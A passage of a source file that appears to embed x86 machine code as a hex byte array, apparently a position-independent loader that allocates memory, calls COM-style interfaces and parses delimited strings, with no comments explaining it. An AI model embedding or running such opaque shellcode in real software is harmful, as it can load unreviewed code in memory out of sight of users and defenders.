0x89, 0x48, 0x54, 0xe8, 0x84, 0x13, 0x00, 0x00, 0xb9, 0x1e, 933 | 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x58, 0xe8, 0x71, 0x13, 934 | 0x00, 0x00, 0xb9, 0xc5, 0x1a, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 935 | 0x5c, 0xe8, 0x5e, 0x13, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 936 | 0x8b, 0x06, 0x89, 0x48, 0x60, 0xe8, 0x4b, 0x13, 0x00, 0x00, 0xb9, 0x6b, 0x1e, 0x40, 0x00, 937 | 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x64, 0xe8, 0x38, 0x13, 0x00, 0x00, 0xb9, 938 | 0x99, 0x1a, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x68, 0xe8, 0x25, 939 | 0x13, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 940 | 0x48, 0x6c, 0xe8, 0x12, 0x13, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 941 | 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x70, 0xe8, 0xff, 0x12, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 942 | 0x00, 0x2b, 0xcf, 0x8b, 0x7d, 0x08, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x74, 0x8d, 0x85, 943 | 0xfc, 0xfd, 0xff, 0xff, 0x83, 0x66, 0x10, 0x00, 0x50, 0x8d, 0x87, 0xe8, 0x05, 0x00, 0x00, 944 | 0x89, 0x7e, 0x14, 0x50, 0x57, 0xe8, 0xb8, 0x12, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x5e, 945 | 0x04, 0x8d, 0x85, 0xfc, 0xfd, 0xff, 0xff, 0x53, 0x50, 0xff, 0x97, 0x94, 0x00, 0x00, 0x00, 946 | 0x85, 0xc0, 0x75, 0x13, 0x8b, 0x0b, 0x8d, 0x46, 0x08, 0x50, 0x8d, 0x87, 0x84, 0x06, 0x00, 947 | 0x00, 0x50, 0x8b, 0x11, 0x51, 0xff, 0x52, 0x18, 0x5f, 0x5e, 0x5b, 0xc9, 0xc3, 0x8b, 0x54, 948 | 0x24, 0x0c, 0x85, 0xd2, 0x75, 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, 0x5f, 0x53, 0x8b, 949 | 0x5c, 0x24, 0x0c, 0x33, 0xc9, 0x56, 0x8b, 0x74, 0x24, 0x0c, 0x57, 0x8b, 0x7e, 0x14, 0x8b, 950 | 0x84, 0x8f, 0xf4, 0x05, 0x00, 0x00, 0x3b, 0x04, 0x8b, 0x75, 0x08, 0x41, 0x83, 0xf9, 0x04, 951 | 0x75, 0xee, 0xeb, 0x2a, 0x33, 0xc9, 0x8b, 0x84, 0x8f, 0x04, 0x06, 0x00, 0x00, 0x3b, 0x04, 952 | 0x8b, 0x75, 0x08, 0x41, 0x83, 0xf9, 0x04, 0x75, 0xee, 0xeb, 0x14, 0x33, 0xc9, 0x8b, 0x84, 953 | 0x8f, 0x84, 0x06, 0x00, 0x00, 0x3b, 0x04, 0x8b, 0x75, 0x0c, 0x41, 0x83, 0xf9, 0x04, 0x75, 954 | 0xee, 0x89, 0x32, 0x33, 0xc0, 0xeb, 0x08, 0x83, 0x22, 0x00, 0xb8, 0x02, 0x40, 0x00, 0x80, 955 | 0x5f, 0x5e, 0x5b, 0xc2, 0x0c, 0x00, 0x8b, 0x44, 0x24, 0x04, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 956 | 0xfd, 0x8b, 0x40, 0x0c, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x38, 0x33, 0xc0, 0xc2, 0x08, 0x00, 957 | 0x8b, 0x4c, 0x24, 0x04, 0x83, 0xc8, 0xff, 0xf0, 0x0f, 0xc1, 0x41, 0x10, 0x48, 0xc2, 0x04, 958 | 0x00, 0x8b, 0x44, 0x24, 0x04, 0xff, 0x74, 0x24, 0x08, 0x8b, 0x40, 0x14, 0xff, 0x50, 0x4c, 959 | 0x33, 0xc0, 0xc2, 0x08, 0x00, 0x55, 0x8b, 0xec, 0x81, 0xec, 0x80, 0x00, 0x00, 0x00, 0x56, 960 | 0x8b, 0x75, 0x08, 0x57, 0x81, 0xc6, 0x6c, 0x04, 0x00, 0x00, 0x8a, 0x0e, 0x33, 0xc0, 0x84, 961 | 0xc9, 0x74, 0x3f, 0x8d, 0x7d, 0x80, 0x8b, 0xd6, 0x2b, 0xfe, 0x80, 0xf9, 0x3b, 0x74, 0x12, 962 | 0x3d, 0x80, 0x00, 0x00, 0x00, 0x7d, 0x0b, 0x88, 0x0c, 0x17, 0x40, 0x42, 0x8a, 0x0a, 0x84, 963 | 0xc9, 0x75, 0xe9, 0x85, 0xc0, 0x74, 0x1d, 0xff, 0x75, 0x0c, 0x46, 0xc6, 0x44, 0x05, 0x80, 964 | 0x00, 0x03, 0xf0, 0x8d, 0x45, 0x80, 0x50, 0xe8, 0x56, 0x16, 0x00, 0x00, 0x59, 0x59, 0x85, 965 | 0xc0, 0x75, 0xbc, 0x40, 0xeb, 0x02, 0x33, 0xc0, 0x5f, 0x5e, 0xc9, 0xc3, 0x55, 0x8b, 0xec, 966 | 0x83, 0xec, 0x1c, 0x83, 0x7d, 0x0c, 0x00, 0x74, 0x31, 0x6a, 0x1c, 0x8d, 0x45, 0xe4, 0x50, 967 | 0x8b, 0x45, 0x08, 0xff, 0x75, 0x0c, 0xff, 0x50, 0x44, 0x83, 0xf8, 0x1c, 0x75, 0x1d, 0x81, 968 | 0x7d, 0xf4, 0x00, 0x10, 0x00, 0x00, 0x75, 0x14, 0x81, 0x7d, 0xfc, 0x00, 0x00, 0x02, 0x00, 969 | 0x75, 0x0b, 0x83, 0x7d, 0xf8, 0x04, 0x75, 0x05, 0x33, 0xc0, 0x40, 0xc9, 0xc3, 0x33, 0xc0, 970 | 0xc9, 0xc3, 0x81, 0xec, 0x10, 0x02, 0x00, 0x00, 0x53, 0x8b, 0x9c, 0x24, 0x18, 0x02, 0x00, 971 | 0x00, 0x33, 0xc0, 0x21, 0x44, 0x24, 0x04, 0x55, 0x8b, 0xac, 0x24, 0x24, 0x02, 0x00, 0x00, 972 | 0x8b, 0x8b, 0xc0, 0x00, 0x00, 0x00, 0x56, 0x57, 0x85, 0xc9, 0x0f, 0x84, 0xbd, 0x01, 0x00, 973 | 0x00, 0x55, 0x8d, 0x83, 0x24, 0x06, 0x00, 0x00, 0x50, 0x8d, 0x83, 0x14, 0x06, 0x00, 0x00, 974 | 0x50, 0xff, 0xd1, 0x8b, 0xb4, 0x24, 0x28, 0x02, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x88, 0x7b, 975 | 0x01, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x20, 0x50, 0x8d, 0x46, 0x0c, 0x50, 0x53, 0xe8, 0xdf, 976 | 0x10, 0x00, 0x00, 0x8b, 0x55, 0x00, 0x8d, 0x7d, 0x04, 0x83, 0xc4, 0x0c, 0x8d, 0x83, 0x34, 977 | 0x06, 0x00, 0x00, 0x8b, 0x0a, 0x57, 0x50, 0x8d, 0x44, 0x24, 0x28, 0x50, 0x52, 0xff, 0x51, 978 | 0x0c, 0x85, 0xc0, 0x78, 0x38, 0x8b, 0x07, 0x8d, 0x54, 0x24, 0x14, 0x52, 0x50, 0x8b, 0x08, 979 | 0xff, 0x51, 0x28, 0x85, 0xc0, 0x0f, 0x88, 0x3b, 0x01, 0x00, 0x00, 0x83, 0x7c, 0x24, 0x14, 980 | 0x00, 0x74, 0x1f, 0x8b, 0x0f, 0x8d, 0x45, 0x08, 0x50, 0x8d, 0x83, 0x54, 0x06, 0x00, 0x00, 981 | 0x50, 0x8b, 0x11, 0x8d, 0x83, 0x44, 0x06, 0x00, 0x00, 0x50, 0x51, 0xff, 0x52, 0x24, 0xeb, 982 | 0x03, 0x83, 0x27, 0x00, 0x85, 0xc0, 0x0f, 0x88, 0x0d, 0x01, 0x00, 0x00, 0x8b, 0x45, 0x08, 983 | 0x50, 0x8b, 0x08, 0xff, 0x51, 0x28, 0x85, 0xc0, 0x0f, 0x88, 0xe9, 0x00, 0x00, 0x00, 0x8d, 984 | 0x44, 0x24, 0x20, 0x50, 0x8d, 0x86, 0x0c, 0x01, 0x00, 0x00, 0x50, 0x53, 0xe8, 0x59, 0x10, 985 | 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x44, 0x24, 0x20, 0x50, 0xff, 0x93, 0x8c, 0x00, 0x00, 986 | 0x00, 0x8b, 0x55, 0x08, 0x8b, 0xf8, 0x8d, 0x45, 0x0c, 0x50, 0x6a, 0x00, 0x8b, 0x0a, 0x57, 987 | 0x52, 0xff, 0x51, 0x30, 0x57, 0x8b, 0xf0, 0xff, 0x93, 0x90, 0x00, 0x00, 0x00, 0x85, 0xf6, 988 | 0x0f, 0x88, 0xa6, 0x00, 0x00, 0x00, 0x8b, 0x55, 0x0c, 0x8d, 0x45, 0x10, 0x50, 0x8d, 0x83, 989 | 0x64, 0x06, 0x00, 0x00, 0x50, 0x8b, 0x0a, 0x52, 0xff, 0x11, 0x85, 0xc0, 0x0f, 0x88, 0x8b, 990 | 0x00, 0x00, 0x00, 0x8b, 0xb4, 0x24, 0x28, 0x02, 0x00, 0x00, 0x83, 0x64, 0x24, 0x1c, 0x00, 991 | 0x8b, 0x86, 0x24, 0x05, 0x00, 0x00, 0x89, 0x44, 0x24, 0x18, 0x8d, 0x44, 0x24, 0x18, 0x50, 992 | 0x6a, 0x01, 0x6a, 0x11, 0xff, 0x53, 0x74, 0x8b, 0xf8, 0x85, 0xff, 0x74, 0x63, 0x8b, 0x57, 993 | 0x0c, 0x33, 0xc9, 0x39, 0x8e, 0x24, 0x05, 0x00, 0x00, 0x76, 0x13, 0x8a, 0x84, 0x0e, 0x28, 994 | 0x05, 0x00, 0x00, 0x88, 0x04, 0x0a, 0x41, 0x3b, 0x8e, 0x24, 0x05, 0x00, 0x00, 0x72, 0xed, 995 | 0x8b, 0x4d, 0x10, 0x8d, 0x45, 0x14, 0x50, 0x57, 0x51, 0x8b, 0x11, 0xff, 0x92, 0xb4, 0x00, 996 | 0x00, 0x00, 0xf7, 0xd8, 0x1b, 0xc0, 0x33, 0xd2, 0x40, 0x8b, 0xca, 0x89, 0x44, 0x24, 0x10, 997 | 0x8b, 0x47, 0x0c, 0x39, 0x96, 0x24, 0x05, 0x00, 0x00, 0x76, 0x13, 0x88, 0x94, 0x0e, 0x28, 998 | 0x05, 0x00, 0x00, 0x88, 0x14, 0x08, 0x41, 0x3b, 0x8e, 0x24, 0x05, 0x00, 0x00, 0x72, 0xed, 999 | 0x57, 0xff, 0x93, 0x80, 0x00, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x10, 0x5f, 0x5e, 0x5d, 0x5b, 1000 | 0x81, 0xc4, 0x10, 0x02, 0x00, 0x00, 0xc3, 0x83, 0x65, 0x00, 0x00, 0x8d, 0x45, 0x08, 0x50, 1001 | 0x8d, 0x83, 0x54, 0x06, 0x00, 0x00, 0x50, 0x8d, 0x83, 0x44, 0x06, 0x00, 0x00, 0x50, 0x6a, 1002 | 0x00, 0x6a, 0x00, 0xff, 0x93, 0xbc, 0x00, 0x00, 0x00, 0xeb, 0x07, 0x8b, 0xb4, 0x24, 0x28, 1003 | 0x02, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x89, 0xc6, 0xfe, 0xff, 0xff, 0x83, 0x65, 0x08, 0x00, 1004 | 0x33, 0xc0, 0xeb, 0xbc, 0x81, 0xec, 0x3c, 0x01, 0x00, 0x00, 0x53, 0x55, 0x56, 0x8b, 0xb4, 1005 | 0x24, 0x4c, 0x01, 0x00, 0x00, 0x57, 0xff, 0x76, 0x2c, 0xff, 0x76, 0x28, 0xff, 0x76, 0x4c, 1006 | 0xff, 0x76, 0x48, 0x56, 0xe8, 0x3c, 0x0f, 0x00, 0x00, 0xff, 0x76, 0x2c, 0x8b, 0xe8, 0xff, 1007 | 0x76, 0x28, 0x89, 0x6c, 0x24, 0x34, 0xff, 0x76, 0x54, 0xff, 0x76, 0x50, 0x56, 0xe8, 0x24, 1008 | 0x0f, 0x00, 0x00, 0xff, 0x76, 0x2c, 0x8b, 0xf8, 0xff, 0x76, 0x28, 0x89, 0x7c, 0x24, 0x44, 1009 | 0xff, 0xb6, 0x9c, 0x01, 0x00, 0x00, 0xff, 0xb6, 0x98, 0x01, 0x00, 0x00, 0x56, 0xe8, 0x06, 1010 | 0x0f, 0x00, 0x00, 0x83, 0xc4, 0x3c, 0x8b, 0xd8, 0x89, 0x5c, 0x24, 0x10, 0x85, 0xed, 0x74, 1011 | 0x27, 0x85, 0xff, 0x74, 0x23, 0x85, 0xdb, 0x74, 0x1f, 0x6a, 0x04, 0x68, 0x00, 0x30, 0x00, 1012 | 0x00, 0xff, 0x36, 0x6a, 0x00, 0xff, 0xd5, 0x8b, 0xf8, 0x85, 0xff, 0x75, 0x1a, 0x83, 0xbe, 1013 | 0x30, 0x02, 0x00, 0x00, 0x02, 0x75, 0x03, 0x50, 0xff, 0xd3, 0x83, 0xc8, 0xff, 0x5f, 0x5e, 1014 | 0x5d, 0x5b, 0x81, 0xc4, 0x3c, 0x01, 0x00, 0x00, 0xc3, 0xff, 0x36, 0x56, 0x57, 0xe8, 0x29, 1015 | 0x13, 0x00, 0x00, 0x6a, 0x20, 0x8d, 0x44, 0x24, 0x38, 0x6a, 0x00, 0x50, 0xe8, 0x3f, 0x13, 1016 | 0x00, 0x00, 0x83, 0xc4, 0x18, 0x83, 0xbf, 0x34, 0x02, 0x00, 0x00, 0x03, 0x75, 0x49, 0x8b, 1017 | 0x07, 0x2d, 0x40, 0x02, 0x00, 0x00, 0x50, 0x8d, 0x87, 0x40, 0x02, 0x00, 0x00, 0x50, 0x8d, 1018 | 0x47, 0x14, 0x50, 0x8d, 0x47, 0x04, 0x50, 0xe8, 0xee, 0x0f, 0x00, 0x00, 0xff, 0x77, 0x2c, 1019 | 0x8d, 0x87, 0xf0, 0x07, 0x00, 0x00, 0xff, 0x77, 0x28, 0x50, 0xe8, 0xb6, 0x0e, 0x00, 0x00, 1020 | 0x83, 0xc4, 0x1c, 0x3b, 0x87, 0xf0, 0x08, 0x00, 0x00, 0x0f, 0x85, 0x52, 0x02, 0x00, 0x00, 1021 | 0x3b, 0x97, 0xf4, 0x08, 0x00, 0x00, 0x0f, 0x85, 0x46, 0x02, 0x00, 0x00, 0xff, 0x77, 0x2c, 1022 | 0xff, 0x77, 0x28, 0xff, 0x77, 0x34, 0xff, 0x77, 0x30, 0x57, 0xe8, 0x46, 0x0e, 0x00, 0x00, 1023 | 0x83, 0xc4, 0x14, 0x89, 0x47, 0x30, 0x85, 0xc0, 0x0f, 0x84, 0x66, 0xff, 0xff, 0xff, 0x8d, 1024 | 0xb7, 0x44, 0x02, 0x00, 0x00, 0x8a, 0x0e, 0x33, 0xc0, 0x84, 0xc9, 0x74, 0x35, 0x8d, 0x5c, 1025 | 0x24, 0x48, 0x8b, 0xd6, 0x2b, 0xde, 0x80, 0xf9, 0x3b, 0x74, 0x12, 0x3d, 0x04, 0x01, 0x00, 1026 | 0x00, 0x73, 0x0b, 0x88, 0x0c, 0x1a, 0x40, 0x42, 0x8a, 0x0a, 0x84, 0xc9, 0x75, 0xe9, 0x85, 1027 | 0xc0, 0x74, 0x12, 0x46, 0xc6, 0x44, 0x04, 0x48, 0x00, 0x03, 0xf0, 0x8d, 0x44, 0x24, 0x48, 1028 | 0x50, 0xff, 0x57, 0x30, 0xeb, 0xc3, 0x33, 0xdb, 0x43, 0x39, 0x9f, 0x40, 0x02, 0x00, 0x00, 1029 | 0x76, 0x38, 0x8d, 0x6f, 0x34, 0x8d, 0x77, 0x38, 0xff, 0x77, 0x2c, 0xff, 0x77, 0x28, 0xff, 1030 | 0x76, 0x04, 0xff, 0x36, 0x57, 0xe8, 0xd3, 0x0d, 0x00, 0x00, 0x83, 0xc4, 0x14, 0x89, 0x45, 1031 | 0x00, 0x85, 0xc0, 0x0f, 0x84, 0xaf, 0x01, 0x00, 0x00, 0x43, 0x83, 0xc6, 0x08, 0x83, 0xc5, 1032 | 0x04, 0x3b, 0x9f, 0x40, 0x02, 0x00, 0x00, 0x72, 0xd2, 0x8b, 0x6c, 0x24, 0x18, 0x8b, 0x87, 1033 | 0xe4, 0x06, 0x00, 0x00, 0x83, 0xf8, 0x02, 0x75, 0x17, 0x57, 0xe8, 0x45, 0xf3, 0xff, 0xff, 1034 | 0x59, 0x85, 0xc0, 0x0f, 0x84, 0x82, 0x01, 0x00, 0x00, 0x8b, 0xb7, 0x20, 0x09, 0x00, 0x00, 1035 | 0xeb, 0x18, 0x83, 0xf8, 0x03, 0x0f, 0x84, 0x71, 0x01, 0x00, 0x00, 0x8d, 0xb7, 0x20, 0x09, 1036 | 0x00, 0x00, 0x83, 0xf8, 0x01, 0x74, 0x04, 0x8b, 0x74, 0x24, 0x18, 0x83, 0xbf, 0x6c, 0x05, 1037 | 0x00, 0x00, 0x01, 0x74, 0x30, 0x57, 0xe8, 0x41, 0xf1, 0xff, 0xff, 0x59, 0x85, 0xc0, 0x75, 1038 | 0x0d, 0x83, 0xbf, 0x6c, 0x05, 0x00, 0x00, 0x02, 0x0f, 0x84, 0x41, 0x01, 0x00, 0x00, 0x57, 1039 | 0xe8, 0x0f, 0xf2, 0xff, 0xff, 0x59, 0x85, 0xc0, 0x75, 0x0d, 0x83, 0xbf, 0x6c, 0x05, 0x00, 1040 | 0x00, 0x02, 0x0f, 0x84, 0x29, 0x01, 0x00, 0x00, 0x83, 0x7e, 0x08, 0x01, 0x0f, 0x84, 0xc0, 1041 | 0x00, 0x00, 0x00, 0x8b, 0x86, 0x24, 0x05, 0x00, 0x00, 0x6a, 0x04, 0x68, 0x00, 0x30, 0x00, 1042 | 0x00, 0x05, 0x30, 0x05, 0x00, 0x00, 0x50, 0x6a, 0x00, 0xff, 0xd5, 0x8b, 0xd8, 0x85, 0xdb, 1043 | 0x0f, 0x84, 0xfe, 0x00, 0x00, 0x00, 0x68, 0x30, 0x05, 0x00, 0x00, 0x56, 0x53, 0xe8, 0x76, 1044 | 0x11, 0x00, 0x00, 0x8b, 0x46, 0x08, 0x83, 0xc4, 0x0c, 0x83, 0xf8, 0x03, 0x74, 0x26, 0x83, 1045 | 0xf8, 0x04, 0x74, 0x21, 0x83, 0xf8, 0x05, 0x74, 0x1c, 0x83, 0xf8, 0x02, 0x75, 0x79, 0x8d, 1046 | 0x83, 0x28, 0x05, 0x00, 0x00, 0x50, 0x8d, 0x86, 0x28, 0x05, 0x00, 0x00, 0x50, 0xe8, 0x4f, 1047 | 0x0f, 0x00, 0x00, 0x59, 0x59, 0xeb, 0x60, 0x8d, 0x44, 0x24, 0x1c, 0xbd, 0x00, 0x01, 0x00, 1048 | 0x00, 0x50, 0x8d, 0x44, 0x24, 0x24, 0x50, 0x66, 0x8b, 0x46, 0x08, 0x66, 0x48, 0x66, 0x0b, 1049 | 0xc5, 0x0f, 0xb7, 0xc0, 0x50, 0xff, 0x97, 0xec, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x85, 1050 | 0x97, 0x00, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x24, 0x50, 0xff, 0xb6, 0x20, 0x05, 0x00, 0x00, 1051 | 0x8d, 0x86, 0x28, 0x05, 0x00, 0x00, 0x50, 0xff, 0xb6, 0x24, 0x05, 0x00, 0x00, 0x8d, 0x83, 1052 | 0x28, 0x05, 0x00, 0x00, 0x50, 0x66, 0x8b, 0x46, 0x08, 0x66, 0x48, 0x66, 0x0b, 0xc5, 0x0f, 1053 | 0xb7, 0xc0, 0x50, 0xff, 0x97, 0xf0, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x61, 0x8b, 0xf3, 1054 | 0x83, 0x3e, 0x03, 0x74, 0x51, 0x83, 0x3e, 0x04, 0x74, 0x4c, 0x83, 0x3e, 0x01, 0x74, 0x18, 1055 | 0x83, 0x3e, 0x02, 0x74, 0x13, 0x83, 0x3e, 0x05, 0x74, 0x05, 0x83, 0x3e, 0x06, 0x75, 0x41, 1056 | 0x56, 0x57, 0xe8, 0x35, 0x08, 0x00, 0x00, 0xeb, 0x36, 0x8d, 0x44, 0x24, 0x28, 0x50, 0x56, 1057 | 0x57, 0xe8, 0xe3, 0xfa, 0xff, 0xff, 0x83, 0xc4, 0x0c, 0x85, 0xc0, 0x74, 0x0f, 0x8d, 0x44, 1058 | 0x24, 0x28, 0x50, 0x56, 0x57, 0xe8, 0x95, 0x00, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x44, 1059 | 0x24, 0x28, 0x50, 0x57, 0xe8, 0x9a, 0xf5, 0xff, 0xff, 0xeb, 0x07, 0x56, 0x57, 0xe8, 0xc3, 1060 | 0x03, 0x00, 0x00, 0x59, 0x59, 0x8b, 0x5c, 0x24, 0x10, 0x8b, 0x87, 0xe4, 0x06, 0x00, 0x00, 1061 | 0x83, 0xf8, 0x02, 0x74, 0x05, 0x83, 0xf8, 0x03, 0x75, 0x37, 0x8b, 0x87, 0x20, 0x09, 0x00, 1062 | 0x00, 0x85, 0xc0, 0x74, 0x2d, 0xff, 0xb7, 0x18, 0x09, 0x00, 0x00, 0x6a, 0x00, 0x50, 0xe8, 1063 | 0x7c, 0x10, 0x00, 0x00, 0x8b, 0x6c, 0x24, 0x20, 0x83, 0xc4, 0x0c, 0x68, 0x00, 0xc0, 0x00, 1064 | 0x00, 0x6a, 0x00, 0xff, 0xb7, 0x20, 0x09, 0x00, 0x00, 0xff, 0xd5, 0x83, 0xa7, 0x20, 0x09, 1065 | 0x00, 0x00, 0x00, 0xeb, 0x04, 0x8b, 0x6c, 0x24, 0x14, 0xff, 0x37, 0x8b, 0xb7, 0x30, 0x02, 1066 | 0x00, 0x00, 0x6a, 0x00, 0x57, 0xe8, 0x49, 0x10, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x68, 0x00, 1067 | 0xc0, 0x00, 0x00, 0x6a, 0x00, 0x57, 0xff, 0xd5, 0x83, 0xfe, 0x02, 0x75, 0x04, 0x6a, 0x00, 1068 | 0xff, 0xd3, 0x33, 0xc0, 0xe9, 0xcb, 0xfc, 0xff, 0xff, 0x81, 0xec, 0x7c, 0x02, 0x00, 0x00, 1069 | 0x53, 0x55, 0x56, 0x8b, 0xb4, 0x24, 0x90, 0x02, 0x00, 0x00, 0x33, 0xc0, 0x57, 0x8d, 0x7c, 1070 | 0x24, 0x48, 0x33, 0xed, 0x21, 0x6c, 0x24, 0x1c, 0xab, 0xab, 0xab, 0xab, 0x33, 0xc0, 0x83, 1071 | 0x3e, 0x02, 0x66, 0x89, 0x44, 0x24, 0x18, 0x0f, 0x85, 0x87, 0x01, 0x00, 0x00, 0x8b, 0x84, 1072 | 0x24, 0x98, 0x02, 0x00, 0x00, 0x8b, 0x48, 0x14, 0x8d, 0x78, 0x1c, 0x57, 0x51, 0x8b, 0x01, 1073 | 0xff, 0x50, 0x40, 0x85, 0xc0, 0x0f, 0x88, 0x64, 0x01, 0x00, 0x00, 0x8b, 0x07, 0x8d, 0x54, 1074 | 0x24, 0x1c, 0x52, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x48, 0x85, 0xc0, 0x0f, 0x88, 0xd5, 0x02, 1075 | 0x00, 0x00, 0x8b, 0x9c, 0x24, 0x90, 0x02, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x2c, 0x50, 0x6a, 1076 | 0x01, 0xff, 0x74, 0x24, 0x24, 0xff, 0x93, 0x84, 0x00, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x28, 1077 | 0x50, 0x6a, 0x01, 0xff, 0x74, 0x24, 0x24, 0xff, 0x93, 0x88, 0x00, 0x00, 0x00, 0x8b, 0x44, 1078 | 0x24, 0x28, 0x2b, 0x44, 0x24, 0x2c, 0x83, 0xc0, 0x01, 0x0f, 0x84, 0xcc, 0x00, 0x00, 0x00, 1079 | 0x6a, 0x01, 0x55, 0x6a, 0x0c, 0xff, 0x53, 0x78, 0x81, 0xc6, 0x0c, 0x04, 0x00, 0x00, 0x8b, 1080 | 0xe8, 0x80, 0x3e, 0x00, 0x74, 0x70, 0x8d, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x50, 0x56, 1081 | 0x53, 0xe8, 0xb5, 0x0a, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x44, 0x24, 0x14, 0x50, 0x8d, 1082 | 0x84, 0x24, 0x8c, 0x00, 0x00, 0x00, 0x50, 0xff, 0x53, 0x70, 0xff, 0x74, 0x24, 0x14, 0x8b, 1083 | 0xf0, 0xb8, 0x08, 0x20, 0x00, 0x00, 0x6a, 0x00, 0x6a, 0x08, 0x66, 0x89, 0x44, 0x24, 0x44, 1084 | 0xff, 0x53, 0x78, 0x33, 0xc9, 0x89, 0x44, 0x24, 0x40, 0x89, 0x4c, 0x24, 0x10, 0x39, 0x4c, 1085 | 0x24, 0x14, 0x76, 0x5b, 0xff, 0x34, 0x8e, 0xff, 0x93, 0x8c, 0x00, 0x00, 0x00, 0x50, 0x8d, 1086 | 0x44, 0x24, 0x14, 0x50, 0xff, 0x74, 0x24, 0x48, 0xff, 0x53, 0x7c, 0x8b, 0x4c, 0x24, 0x10, 1087 | 0x41, 0x89, 0x4c, 0x24, 0x10, 0x3b, 0x4c, 0x24, 0x14, 0x72, 0xdb, 0xeb, 0x34, 0x6a, 0x01, 1088 | 0x6a, 0x00, 0xb8, 0x08, 0x20, 0x00, 0x00, 0x6a, 0x08, 0x66, 0x89, 0x44, 0x24, 0x44, 0xff, 1089 | 0x53, 0x78, 0x83, 0x64, 0x24, 0x10, 0x00, 0x89, 0x44, 0x24, 0x40, 0x8d, 0x44, 0x24, 0x18, 1090 | 0x50, 0xff, 0x93, 0x8c, 0x00, 0x00, 0x00, 0x50, 0x8d, 0x44, 0x24, 0x14, 0x50, 0xff, 0x74, 1091 | 0x24, 0x48, 0xff, 0x53, 0x7c, 0x83, 0x64, 0x24, 0x10, 0x00, 0x8d, 0x44, 0x24, 0x38, 0x50, 1092 | 0x8d, 0x44, 0x24, 0x14, 0x50, 0x55, 0xff, 0x53, 0x7c, 0x83, 0x64, 0x24, 0x50, 0x00, 0x8d, 1093 | 0x54, 0x24, 0x68, 0x52, 0x33, 0xc0, 0x8d, 0x74, 0x24, 0x4c, 0x40, 0x66, 0x89, 0x44, 0x24, 1094 | 0x4c, 0x8b, 0x07, 0x55, 0x83, 0xec, 0x10, 0x8b, 0xfc, 0x8b, 0x08, 0x50, 0xa5, 0xa5, 0xa5, 1095 | 0xa5, 0xff, 0x91, 0x94, 0x00, 0x00, 0x00, 0x85, 0xed, 0x0f, 0x84, 0x9c, 0x01, 0x00, 0x00, 1096 | 0xff, 0x74, 0x24, 0x40, 0xff, 0x93, 0x80, 0x00, 0x00, 0x00, 0x55, 0xff, 0x93, 0x80, 0x00, 1097 | 0x00, 0x00, 0xe9, 0x86, 0x01, 0x00, 0x00, 0x21, 0x2f, 0xe9, 0x7f, 0x01, 0x00, 0x00, 0x8b, 1098 | 0x9c, 0x24, 0x90, 0x02, 0x00, 0x00, 0x8d, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x50, 0x8d, 1099 | 0x86, 0x0c, 0x02, 0x00, 0x00, 0x50, 0x53, 0xe8, 0xa1, 0x09, 0x00, 0x00, 0x83, 0xc4, 0x0c, 1100 | 0x8d, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x50, 0xff, 0x93, 0x8c, 0x00, 0x00, 0x00, 0x8b, 1101 | 0xe8, 0x89, 0x6c, 0x24, 0x20, 0x85, 0xed, 0x0f, 0x84, 0x47, 0x01, 0x00, 0x00, 0x8d, 0x84, 1102 | 0x24, 0x88, 0x00, 0x00, 0x00, 0x50, 0x8d, 0x86, 0x0c, 0x03, 0x00, 0x00, 0x50, 0x53, 0xe8, 1103 | 0x6d, 0x09, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x50, 1104 | 0xff, 0x93, 0x8c, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x24, 0x85, 0xc0, 0x0f, 0x84, 0x0b, 1105 | 0x01, 0x00, 0x00, 0x8b, 0x8c, 0x24, 0x98, 0x02, 0x00, 0x00, 0x8b, 0x51, 0x14, 0x8d, 0x79, 1106 | 0x18, 0x57, 0x55, 0x52, 0x8b, 0x0a, 0x89, 0x7c, 0x24, 0x40, 0xff, 0x51, 0x44, 0x85, 0xc0, 1107 | 0x0f, 0x88, 0xdf, 0x00, 0x00, 0x00, 0x81, 0xc6, 0x0c, 0x04, 0x00, 0x00, 0x33, 0xed, 0x80, 1108 | 0x3e, 0x00, 0x0f, 0x84, 0x8f, 0x00, 0x00, 0x00, 0x8d, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 1109 | 0x50, 0x56, 0x53, 0xe8, 0x0f, 0x09, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x44, 0x24, 0x14, 1110 | 0x50, 0x8d, 0x84, 0x24, 0x8c, 0x00, 0x00, 0x00, 0x50, 